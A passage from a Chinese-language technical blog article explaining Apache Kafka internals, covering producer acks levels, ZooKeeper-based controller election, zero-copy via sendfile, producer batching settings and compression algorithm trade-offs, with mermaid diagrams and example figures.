class="line">结果：消息丢失</span><br></pre></td></tr></table></figure><p><strong>为什么选择acks=1</strong>：</p><ul><li><strong>常见的平衡选择</strong>：大多数业务场景的默认选择</li><li><strong>性能可接受</strong>：只需等待Leader确认，延迟较低</li><li><strong>可靠性足够</strong>：Leader故障概率相对较低</li></ul><p><strong>acks=all/-1：追求数据安全的选择</strong></p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant L as Leader    participant F1 as Follower 1    participant F2 as Follower 2    P-&gt;&gt;L: 发送消息    L-&gt;&gt;L: 写入本地日志    par ISR同步过程        L-&gt;&gt;F1: 同步消息        F1-&gt;&gt;F1: 写入本地日志        F1-&gt;&gt;L: 确认同步完成    and        L-&gt;&gt;F2: 同步消息        F2-&gt;&gt;F2: 写入本地日志        F2-&gt;&gt;L: 确认同步完成    end    L-&gt;&gt;P: 所有ISR副本都确认后才回复    Note over P: Producer才认为发送成功</code></pre><p><strong>acks=all的安全保障</strong>：<br>即使Leader宕机，消息也已经在ISR的其他副本中安全存储，新选出的Leader一定包含这条消息。</p><p><strong>acks=all的潜在问题</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">问题场景：如果ISR中只有Leader一个副本</span><br><span class="line">1. Producer设置acks=all</span><br><span class="line">2. 只有Leader在ISR中（Follower都在OSR中）</span><br><span class="line">3. Leader确认后立即返回</span><br><span class="line">4. 实际效果等同于acks=1</span><br><span class="line"></span><br><span class="line">解决方案：配合使用min.insync.replicas参数</span><br><span class="line">- 设置ISR最小副本数（如min.insync.replicas=2）</span><br><span class="line">- 如果ISR副本数少于此值，Producer会收到错误</span><br><span class="line">- 强制要求至少有指定数量的副本同步</span><br></pre></td></tr></table></figure><p><strong>三种级别的适用场景总结</strong>：</p><table><thead><tr><th>acks级别</th><th>性能</th><th>可靠性</th><th>适用场景</th><th>典型应用</th></tr></thead><tbody><tr><td>0</td><td>最高</td><td>最低</td><td>可容忍数据丢失</td><td>日志收集、指标监控</td></tr><tr><td>1</td><td>中等</td><td>中等</td><td>一般业务场景</td><td>用户行为追踪、非关键业务</td></tr><tr><td>all</td><td>最低</td><td>最高</td><td>关键数据不能丢失</td><td>订单处理、支付记录、审计日志</td></tr></tbody></table><p>理解了这三种确认级别的设计原理和适用场景，开发者就能根据具体业务需求选择合适的可靠性策略，在性能和数据安全之间找到最佳平衡点。</p><h3 id="4-3-故障恢复机制">4.3 故障恢复机制</h3><pre><code class="highlight mermaid">graph TD    F[Leader故障] --&gt; D[检测故障]    D --&gt; C[Controller选举新Leader]    C --&gt; U[更新元数据]    U --&gt; N[通知所有Broker]    N --&gt; S[服务恢复]    style F fill:#ff6666    style S fill:#66ff66</code></pre><p><strong>Controller选举</strong>：</p><ul><li>基于ZooKeeper的分布式锁机制</li><li>Controller负责管理分区状态和副本分配</li><li>故障时自动选举新的Controller</li></ul><p><strong>ZooKeeper分布式锁的工作原理</strong>：</p><p>在Kafka集群中，只能有一个Broker担任Controller角色。如何在多个Broker中选出唯一的Controller？这就需要依赖ZooKeeper的分布式锁机制。</p><pre><code class="highlight mermaid">sequenceDiagram    participant B1 as Broker 1    participant B2 as Broker 2    participant B3 as Broker 3    participant ZK as ZooKeeper    Note over B1,ZK: 集群启动，各Broker竞争Controller    par 并发竞争Controller        B1-&gt;&gt;ZK: 尝试创建 /controller 节点        B2-&gt;&gt;ZK: 尝试创建 /controller 节点        B3-&gt;&gt;ZK: 尝试创建 /controller 节点    end    ZK-&gt;&gt;B1: 创建成功，成为Controller    ZK-&gt;&gt;B2: 创建失败，节点已存在    ZK-&gt;&gt;B3: 创建失败，节点已存在    Note over B1: Broker 1 成为Controller    Note over B2,B3: Broker 2,3 监听Controller变化    B2-&gt;&gt;ZK: 监听 /controller 节点删除事件    B3-&gt;&gt;ZK: 监听 /controller 节点删除事件</code></pre><p><strong>ZooKeeper分布式锁的核心特性</strong>：</p><ol><li><p><strong>原子性操作</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">ZooKeeper的create操作是原子的：</span><br><span class="line">- 要么创建成功，要么失败</span><br><span class="line">- 不存在部分创建的中间状态</span><br><span class="line">- 确保只有一个客户端能成功创建相同路径的节点</span><br></pre></td></tr></table></figure></li><li><p><strong>临时节点机制</strong>：</p><p>为什么Controller必须使用临时节点而不能使用永久节点？如果使用永久节点，当Controller故障时节点不会自动删除，其他Broker就无法感知到Controller的故障，整个集群会陷入无主状态。临时节点与ZooKeeper会话绑定，一旦会话中断就会自动删除，这样其他Broker立即感知到故障并开始新的选举：</p></li></ol><pre><code class="highlight mermaid">graph TD    Controller[Controller Broker] --&gt; Session[ZK Session]    Session --&gt; Node[&quot;/controller 临时节点&quot;]    Session --&gt; Heartbeat[定期发送心跳]    Heartbeat --&gt; Alive&#123;会话保活&#125;    Alive --&gt;|正常| Keep[保持节点存在]    Alive --&gt;|超时/故障| Delete[自动删除节点]    Delete --&gt; Trigger[触发选举]    style Node fill:#e3f2fd    style Delete fill:#ffcdd2    style Trigger fill:#fff3e0</code></pre><ol start="3"><li><strong>会话超时检测</strong>：<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ZooKeeper会话机制：</span><br><span class="line">- Controller与ZooKeeper维持TCP长连接</span><br><span class="line">- 定期发送心跳包（默认1/3 session timeout）</span><br><span class="line">- 如果心跳超时，ZooKeeper认为Controller故障</span><br><span class="line">- 自动删除临时节点，其他Broker收到通知开始新一轮选举</span><br></pre></td></tr></table></figure></li></ol><p><strong>Controller选举的详细流程</strong>：</p><pre><code class="highlight mermaid">flowchart TD    Start[Broker启动] --&gt; Check&#123;检查/controller节点&#125;    Check --&gt;|不存在| Create[尝试创建临时节点]    Check --&gt;|存在| Watch[监听节点变化]    Create --&gt; Success&#123;创建成功?&#125;    Success --&gt;|是| BeController[成为Controller]    Success --&gt;|否| Watch    BeController --&gt; LoadMeta[加载集群元数据]    LoadMeta --&gt; StartLeaderElection[启动Leader选举]    StartLeaderElection --&gt; ManagePartitions[管理分区状态]    Watch --&gt; NodeDeleted&#123;节点被删除?&#125;    NodeDeleted --&gt;|是| Create    NodeDeleted --&gt;|否| Continue[继续监听]    Continue --&gt; NodeDeleted    style BeController fill:#4caf50    style Watch fill:#ff9800    style NodeDeleted fill:#ffeb3b</code></pre><p><strong>Controller故障恢复过程</strong>：</p><p>当Controller Broker发生故障时：</p><pre><code class="highlight mermaid">sequenceDiagram    participant Controller as Controller Broker    participant ZK as ZooKeeper    participant B2 as Broker 2    participant B3 as Broker 3    Note over Controller: Controller故障/网络分区    Controller-&gt;&gt;ZK: 心跳中断(连接断开)    Note over ZK: session timeout到期    ZK-&gt;&gt;ZK: 删除 /controller 临时节点    ZK-&gt;&gt;B2: 通知:/controller 节点删除    ZK-&gt;&gt;B3: 通知:/controller 节点删除    par 新一轮Controller竞争        B2-&gt;&gt;ZK: 尝试创建 /controller        B3-&gt;&gt;ZK: 尝试创建 /controller    end    ZK-&gt;&gt;B2: 创建失败    ZK-&gt;&gt;B3: 创建成功,成为新Controller    B3-&gt;&gt;B3: 加载集群元数据    B3-&gt;&gt;B3: 重新进行Leader选举    B3-&gt;&gt;B2: 通知新的分区Leader信息    Note over B2,B3: 集群恢复正常运行</code></pre><p><strong>分布式锁机制的优势</strong>：</p><ol><li><p><strong>避免脑裂问题</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">什么是脑裂：多个节点同时认为自己是主节点</span><br><span class="line">ZooKeeper解决方案：</span><br><span class="line">- 临时节点只能有一个</span><br><span class="line">- 其他节点通过监听机制感知主节点状态</span><br><span class="line">- 主节点故障时自动触发重新选举</span><br></pre></td></tr></table></figure></li><li><p><strong>自动故障检测</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">传统心跳机制的问题：</span><br><span class="line">- 需要额外的心跳检测线程</span><br><span class="line">- 心跳间隔和超时时间难以调优</span><br><span class="line">- 网络波动可能导致误判</span><br><span class="line"></span><br><span class="line">ZooKeeper会话机制的优势：</span><br><span class="line">- 基于TCP连接的天然心跳</span><br><span class="line">- 会话超时由ZooKeeper统一管理</span><br><span class="line">- 更可靠的故障检测机制</span><br></pre></td></tr></table></figure></li><li><p><strong>事件驱动的通知机制</strong>：</p></li></ol><pre><code class="highlight mermaid">graph LR    Event[Controller节点删除] --&gt; Watcher1[Broker 2 收到通知]    Event --&gt; Watcher2[Broker 3 收到通知]    Event --&gt; Watcher3[Broker N 收到通知]    Watcher1 --&gt; Action1[立即参与选举]    Watcher2 --&gt; Action2[立即参与选举]    Watcher3 --&gt; Action3[立即参与选举]</code></pre><p>这种基于ZooKeeper的分布式锁机制确保了Kafka集群中Controller角色的唯一性和高可用性，是Kafka分布式协调的核心基础。</p><hr><h2 id="第五章：性能优化原理">第五章：性能优化原理</h2><p>Kafka作为高吞吐量的消息系统，在性能优化方面运用了多种底层技术。理解这些优化技术的原理，对于合理配置和调优Kafka集群至关重要。</p><h3 id="5-1-I-O性能瓶颈与零拷贝技术">5.1 I/O性能瓶颈与零拷贝技术</h3><p><strong>高并发场景下的I/O挑战</strong>：</p><p>在高吞吐量的消息系统中，Kafka需要频繁地从磁盘读取消息并通过网络发送给Consumer。这个过程看似简单，但在操作系统层面却涉及复杂的数据拷贝流程。</p><p><strong>传统I/O操作的性能问题</strong>：</p><p>让我们分析一下Consumer从Kafka读取消息的传统流程：</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant K as Kafka Broker    participant OS as 操作系统    participant Disk as 磁盘    C-&gt;&gt;K: 请求消息数据    K-&gt;&gt;OS: read()系统调用    OS-&gt;&gt;Disk: 从磁盘读取数据    Disk-&gt;&gt;OS: 数据读入内核缓冲区    OS-&gt;&gt;K: 数据拷贝到用户空间    K-&gt;&gt;OS: write()系统调用    OS-&gt;&gt;OS: 数据拷贝到Socket缓冲区    OS-&gt;&gt;C: 通过网络发送数据</code></pre><p>这个过程中，数据经历了<strong>4次拷贝</strong>和<strong>2次上下文切换</strong>：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;传统I/O的数据拷贝路径&quot;        D[磁盘数据] --&gt; K1[内核缓冲区&lt;br/&gt;第1次拷贝]        K1 --&gt; U[用户空间缓冲区&lt;br/&gt;第2次拷贝]        U --&gt; K2[Socket内核缓冲区&lt;br/&gt;第3次拷贝]        K2 --&gt; N[网络接口卡&lt;br/&gt;第4次拷贝]    end    subgraph &quot;上下文切换开销&quot;        Context1[内核态 → 用户态]        Context2[用户态 → 内核态]    end    style U fill:#ffcdd2    style Context1 fill:#ffcdd2    style Context2 fill:#ffcdd2</code></pre><p><strong>性能问题分析</strong>：</p><ol><li><p><strong>CPU资源浪费</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">每次数据拷贝都需要CPU参与：</span><br><span class="line">- 从内核缓冲区拷贝到用户空间：CPU密集操作</span><br><span class="line">- 从用户空间拷贝到Socket缓冲区：再次占用CPU</span><br><span class="line">- 大量消息传输时，CPU大部分时间用于数据拷贝而非业务处理</span><br></pre></td></tr></table></figure></li><li><p><strong>内存带宽消耗</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">内存总线带宽有限：</span><br><span class="line">- 多次拷贝占用宝贵的内存带宽</span><br><span class="line">- 影响其他程序的内存访问性能</span><br><span class="line">- 在高并发场景下成为系统瓶颈</span><br></pre></td></tr></table></figure></li><li><p><strong>上下文切换开销</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">用户态和内核态切换代价：</span><br><span class="line">- 保存/恢复CPU寄存器状态</span><br><span class="line">- 清空CPU缓存（TLB失效）</span><br><span class="line">- 每次切换消耗数百个CPU周期</span><br></pre></td></tr></table></figure></li></ol><p><strong>零拷贝技术的解决方案</strong>：</p><p>为了解决这些问题，Linux内核提供了零拷贝技术。Kafka使用的是<code>sendfile</code>系统调用：</p><pre><code class="highlight mermaid">sequenceDiagram    participant C as Consumer    participant K as Kafka Broker    participant OS as 操作系统    participant Disk as 磁盘    C-&gt;&gt;K: 请求消息数据    K-&gt;&gt;OS: sendfile()系统调用    Note over OS: 一次系统调用完成整个传输    OS-&gt;&gt;Disk: 读取数据到内核缓冲区    OS-&gt;&gt;OS: 直接从内核缓冲区发送到网络    OS-&gt;&gt;C: 通过网络发送数据</code></pre><p><strong>零拷贝的优化效果</strong>：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;零拷贝的数据路径&quot;        D2[磁盘数据] --&gt; K3[内核缓冲区&lt;br/&gt;第1次拷贝]        K3 --&gt; N2[网络接口卡&lt;br/&gt;第2次拷贝]    end    subgraph &quot;性能提升&quot;        Benefit1[减少2次CPU拷贝]        Benefit2[减少2次上下文切换]        Benefit3[节省内存带宽]        Benefit4[降低CPU使用率]    end    style D2 fill:#c8e6c9    style N2 fill:#c8e6c9    style Benefit1 fill:#e8f5e8    style Benefit2 fill:#e8f5e8    style Benefit3 fill:#e8f5e8    style Benefit4 fill:#e8f5e8</code></pre><p><strong>sendfile系统调用的工作原理</strong>：</p><p>Kafka的零拷贝技术主要通过Linux内核提供的sendfile系统调用实现。sendfile是专门为高效文件传输设计的系统调用，它允许数据直接在内核空间中从文件传输到网络Socket，完全绕过用户空间：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 传统方式需要多次系统调用</span></span><br><span class="line">read(disk_fd, buffer, size);     <span class="comment">// 读取到用户空间</span></span><br><span class="line">write(socket_fd, buffer, size);  <span class="comment">// 从用户空间写入Socket</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// sendfile方式只需一次系统调用</span></span><br><span class="line">sendfile(socket_fd, disk_fd, offset, size);  <span class="comment">// 直接从磁盘发送到Socket</span></span><br></pre></td></tr></table></figure><p><strong>Kafka中零拷贝的应用场景</strong>：</p><ol><li><p><strong>Consumer拉取消息</strong>：</p><ul><li>Consumer请求历史消息时</li><li>Broker直接从Log文件发送数据到Consumer</li><li>无需将消息内容加载到JVM堆内存</li></ul></li><li><p><strong>副本同步</strong>：</p><ul><li>Follower从Leader同步消息时</li><li>Leader直接从Log文件发送到Follower</li><li>提高副本同步效率</li></ul></li></ol><p><strong>零拷贝技术的限制</strong>：</p><p>需要注意的是，零拷贝并非在所有场景都适用：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">不适用零拷贝的情况：</span><br><span class="line">1. 消息需要转换或过滤时</span><br><span class="line">2. 消息需要解压缩时</span><br><span class="line">3. 消息需要加密/解密时</span><br><span class="line">4. 需要对消息内容进行业务处理时</span><br><span class="line"></span><br><span class="line">这些情况下，数据必须经过用户空间处理，无法使用sendfile</span><br></pre></td></tr></table></figure><p><strong>性能提升的量化效果</strong>：</p><p>在实际测试中，零拷贝技术能够带来显著的性能提升：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">测试场景：发送100MB数据</span><br><span class="line">传统I/O方式：</span><br><span class="line">- CPU使用率：85%</span><br><span class="line">- 传输时间：2.1秒</span><br><span class="line">- 系统调用次数：约20万次</span><br><span class="line"></span><br><span class="line">零拷贝方式：</span><br><span class="line">- CPU使用率：15%</span><br><span class="line">- 传输时间：0.8秒</span><br><span class="line">- 系统调用次数：1次</span><br><span class="line"></span><br><span class="line">性能提升：吞吐量提升2.6倍，CPU使用率降低82%</span><br></pre></td></tr></table></figure><h3 id="5-2-网络传输效率与批处理优化">5.2 网络传输效率与批处理优化</h3><p><strong>高频网络调用的性能瓶颈</strong>：</p><p>在消息系统中，如果每条消息都单独发送，会面临严重的性能问题。让我们分析一个具体场景：</p><p><strong>问题场景</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">电商系统在促销期间：</span><br><span class="line">- 每秒产生10,000条订单消息</span><br><span class="line">- 如果每条消息单独发送到Kafka</span><br><span class="line">- 就需要每秒进行10,000次网络调用</span><br></pre></td></tr></table></figure><p><strong>单条消息发送的开销</strong>：</p><pre><code class="highlight mermaid">sequenceDiagram    participant P as Producer    participant N as Network    participant B as Broker    loop 每条消息都要重复这个过程        P-&gt;&gt;N: TCP包头 + 消息1 (约100字节数据 + 40字节开销)        N-&gt;&gt;B: 网络传输        B-&gt;&gt;N: ACK响应 (40字节开销)        N-&gt;&gt;P: 确认收到        Note over P,B: 单条消息实际传输140字节，开销占57%    end</code></pre><p><strong>网络开销分析</strong>：</p><p>每次网络调用的固定开销包括：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">1. TCP/IP协议开销：</span><br><span class="line">   - IP头：20字节</span><br><span class="line">   - TCP头：20字节</span><br><span class="line">   - 以太网帧头：14字节</span><br><span class="line">   - 总计：54字节协议开销</span><br><span class="line"></span><br><span class="line">2. 系统调用开销：</span><br><span class="line">   - 用户态到内核态切换</span><br><span class="line">   - 网络栈处理时间</span><br><span class="line">   - 中断处理开销</span><br><span class="line"></span><br><span class="line">3. 网络延迟：</span><br><span class="line">   - 每次发送都要等待网络往返时间（RTT）</span><br><span class="line">   - 即使是1ms的RTT，10,000次调用就是10秒延迟</span><br></pre></td></tr></table></figure><p><strong>批处理技术的解决思路</strong>：</p><p>批处理的核心思想是：<strong>将多条消息打包成一个批次发送，减少网络调用次数</strong>。</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;单条发送模式&quot;        M1[消息1] --&gt; S1[网络调用1]        M2[消息2] --&gt; S2[网络调用2]        M3[消息3] --&gt; S3[网络调用3]        M4[消息4] --&gt; S4[网络调用4]        S1 --&gt; Cost1[开销: 54字节]        S2 --&gt; Cost2[开销: 54字节]        S3 --&gt; Cost3[开销: 54字节]        S4 --&gt; Cost4[开销: 54字节]    end    subgraph &quot;批处理模式&quot;        M5[消息1] --&gt; Batch[批次缓冲区]        M6[消息2] --&gt; Batch        M7[消息3] --&gt; Batch        M8[消息4] --&gt; Batch        Batch --&gt; S5[单次网络调用]        S5 --&gt; Cost5[开销: 54字节]    end    style Cost5 fill:#c8e6c9    style Cost1 fill:#ffcdd2    style Cost2 fill:#ffcdd2    style Cost3 fill:#ffcdd2    style Cost4 fill:#ffcdd2</code></pre><p><strong>Kafka Producer的批处理实现</strong>：</p><pre><code class="highlight mermaid">flowchart TD    Start[消息到达] --&gt; CheckBatch&#123;检查当前批次&#125;    CheckBatch --&gt;|批次不存在| CreateBatch[创建新批次]    CheckBatch --&gt;|批次存在| AddToBatch[添加到批次]    CreateBatch --&gt; AddToBatch    AddToBatch --&gt; CheckTrigger&#123;检查触发条件&#125;    CheckTrigger --&gt;|batch.size已满| SendNow[立即发送]    CheckTrigger --&gt;|linger.ms超时| SendTimer[定时发送]    CheckTrigger --&gt;|条件未满足| WaitMore[等待更多消息]    SendNow --&gt; NetworkCall[网络传输]    SendTimer --&gt; NetworkCall    WaitMore --&gt; Start    NetworkCall --&gt; Response[等待响应]    style SendNow fill:#4caf50    style SendTimer fill:#ff9800    style WaitMore fill:#2196f3</code></pre><p><strong>关键批处理参数详解</strong>：</p><ol><li><p><strong>batch.size（批次大小阈值）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">作用：控制每个批次的最大字节数</span><br><span class="line">默认值：16384字节（16KB）</span><br><span class="line"></span><br><span class="line">工作原理：</span><br><span class="line">- 当批次中消息的总大小达到batch.size时，立即发送</span><br><span class="line">- 即使linger.ms时间未到，也会触发发送</span><br><span class="line">- 适合高吞吐量场景，确保网络带宽充分利用</span><br><span class="line"></span><br><span class="line">调优建议：</span><br><span class="line">- 高吞吐量：增大到32KB或64KB</span><br><span class="line">- 低延迟要求：减小到4KB或8KB</span><br><span class="line">- 网络带宽有限：适当减小避免网络拥塞</span><br></pre></td></tr></table></figure></li><li><p><strong><a href="http://linger.ms">linger.ms</a>（等待时间阈值）</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">作用：控制批次等待时间的最大值</span><br><span class="line">默认值：0毫秒（立即发送）</span><br><span class="line"></span><br><span class="line">工作原理：</span><br><span class="line">- 即使批次未满，等待linger.ms时间后也会发送</span><br><span class="line">- 给更多消息机会加入批次，提高批处理效率</span><br><span class="line">- 在延迟和吞吐量之间做权衡</span><br><span class="line"></span><br><span class="line">调优建议：</span><br><span class="line">- 高吞吐量优先：设置为5-100ms</span><br><span class="line">- 低延迟要求：保持默认值0ms</span><br><span class="line">- 均衡场景：设置为10-20ms</span><br></pre></td></tr></table></figure></li></ol><p><strong>批处理的性能提升效果</strong>：</p><p>让我们通过具体数据来理解批处理的价值：</p><pre><code class="highlight mermaid">graph LR    subgraph &quot;批处理前（单条发送）&quot;        Scenario1[10,000条消息/秒]        Calls1[10,000次网络调用]        Overhead1[540KB协议开销]        Latency1[10秒网络延迟累积]    end    subgraph &quot;批处理后（100条/批次）&quot;        Scenario2[10,000条消息/秒]        Calls2[100次网络调用]        Overhead2[5.4KB协议开销]        Latency2[0.1秒网络延迟]    end    style Calls2 fill:#c8e6c9    style Overhead2 fill:#c8e6c9    style Latency2 fill:#c8e6c9</code></pre><p><strong>实际测试数据对比</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">测试环境：单Producer，发送1MB消息到Kafka</span><br><span class="line"></span><br><span class="line">配置1：batch.size=1, linger.ms=0 (禁用批处理)</span><br><span class="line">- 吞吐量：1,200 消息/秒</span><br><span class="line">- 网络调用次数：1,200次/秒</span><br><span class="line">- CPU使用率：45%</span><br><span class="line"></span><br><span class="line">配置2：batch.size=16KB, linger.ms=10ms</span><br><span class="line">- 吞吐量：45,000 消息/秒</span><br><span class="line">- 网络调用次数：约100次/秒</span><br><span class="line">- CPU使用率：15%</span><br><span class="line"></span><br><span class="line">性能提升：吞吐量提升37.5倍，CPU使用率降低67%</span><br></pre></td></tr></table></figure><p><strong>批处理策略的权衡考虑</strong>：</p><pre><code class="highlight mermaid">graph TD    BatchSize[批处理配置] --&gt; Throughput&#123;吞吐量优化&#125;    BatchSize --&gt; Latency&#123;延迟优化&#125;    BatchSize --&gt; Memory&#123;内存使用&#125;    Throughput --&gt;|增大batch.size| HighThroughput[更高吞吐量&lt;br/&gt;但延迟增加]    Throughput --&gt;|增大linger.ms| MoreBatching[更好的批处理效果&lt;br/&gt;但延迟增加]    Latency --&gt;|减小batch.size| LowLatency[更低延迟&lt;br/&gt;但吞吐量下降]    Latency --&gt;|减小linger.ms| QuickSend[更快发送&lt;br/&gt;但批处理效果差]    Memory --&gt;|批次过大| MemoryPressure[内存压力增大]    Memory --&gt;|批次过小| CPUOverhead[CPU开销增大]    style HighThroughput fill:#4caf50    style LowLatency fill:#ff9800    style MemoryPressure fill:#f44336</code></pre><h3 id="5-3-存储空间优化与压缩技术">5.3 存储空间优化与压缩技术</h3><p><strong>大规模消息存储的挑战</strong>：</p><p>在实际生产环境中，Kafka需要存储海量的消息数据。让我们分析一个具体场景来理解存储压力：</p><p><strong>典型场景分析</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">大型互联网公司的日志收集系统：</span><br><span class="line">- 1000个微服务实例</span><br><span class="line">- 每个实例每秒产生100条日志</span><br><span class="line">- 每条日志平均1KB大小</span><br><span class="line">- 总计：100,000条/秒 × 1KB = 100MB/秒</span><br><span class="line">- 一天产生的数据：100MB/秒 × 86400秒 = 8.64TB/天</span><br></pre></td></tr></table></figure><p><strong>存储成本问题</strong>：</p><pre><code class="highlight mermaid">graph TD    DataVolume[8.64TB/天] --&gt; StorageCost&#123;存储成本&#125;    StorageCost --&gt; SSD[SSD存储&lt;br/&gt;$0.1/GB/月]    StorageCost --&gt; HDD[机械硬盘&lt;br/&gt;$0.03/GB/月]    SSD --&gt; SSDCost[月成本：$25,920]    HDD --&gt; HDDCost[月成本：$7,776]    DataVolume --&gt; NetworkCost&#123;网络传输成本&#125;    NetworkCost --&gt; Bandwidth[带宽消耗&lt;br/&gt;100MB/秒]    Bandwidth --&gt; BandwidthCost[专线成本：$5000/月]    style SSDCost fill:#ffcdd2    style HDDCost fill:#fff3e0    style BandwidthCost fill:#ffcdd2</code></pre><p><strong>压缩技术的必要性</strong>：</p><p>压缩技术可以显著减少存储和网络传输成本：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">假设平均压缩比为3:1</span><br><span class="line">存储需求：8.64TB → 2.88TB （节省67%存储空间）</span><br><span class="line">网络带宽：100MB/秒 → 33MB/秒 （节省67%带宽）</span><br><span class="line">成本节省：月节省$17,000+ 存储和网络成本</span><br></pre></td></tr></table></figure><p><strong>不同压缩算法的特性对比</strong>：</p><p>为什么Kafka需要支持多种压缩算法？这是因为不同的应用场景有不同的优化目标：有些场景更关注存储成本（如日志归档），有些更关注实时性（如在线交易），有些需要在两者间平衡（如用户行为分析）。因此，在选择压缩算法时，需要根据具体需求在压缩比、CPU消耗、延迟之间做权衡：</p><pre><code class="highlight mermaid">graph TD    subgraph &quot;压缩算法特性对比&quot;        GZIP[gzip&lt;br/&gt;压缩比：高&lt;br/&gt;CPU：高&lt;br/&gt;延迟：高]        SNAPPY[snappy&lt;br/&gt;压缩比：中&lt;br/&gt;CPU：中&lt;br/&gt;延迟：中]        LZ4[lz4&lt;br/&gt;压缩比：中低&lt;br/&gt;CPU：低&lt;br/&gt;延迟：低]        ZSTD[zstd&lt;br/&gt;压缩比：最高&lt;br/&gt;CPU：可调&lt;br/&gt;延迟：可调]    end    subgraph &quot;应用场景&quot;        HighCompression[存储成本敏感&lt;br/&gt;CPU资源充足]        Balanced[均衡场景&lt;br/&gt;中等压缩需求]        LowLatency[延迟敏感&lt;br/&gt;实时处理]        Flexible[灵活配置&lt;br/&gt;最佳压缩]    end    GZIP --&gt; HighCompression    SNAPPY --&gt; Balanced    LZ4 --&gt; LowLatency    ZSTD --&gt; Flexible    style GZIP fill:#ff9800    style SNAPPY fill:#4caf50    style LZ4 fill:#2196f3    style ZSTD fill:#9c27b0</code></pre><p><strong>详细压缩算法分析</strong>：</p><ol><li><p><strong>GZIP压缩算法</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span 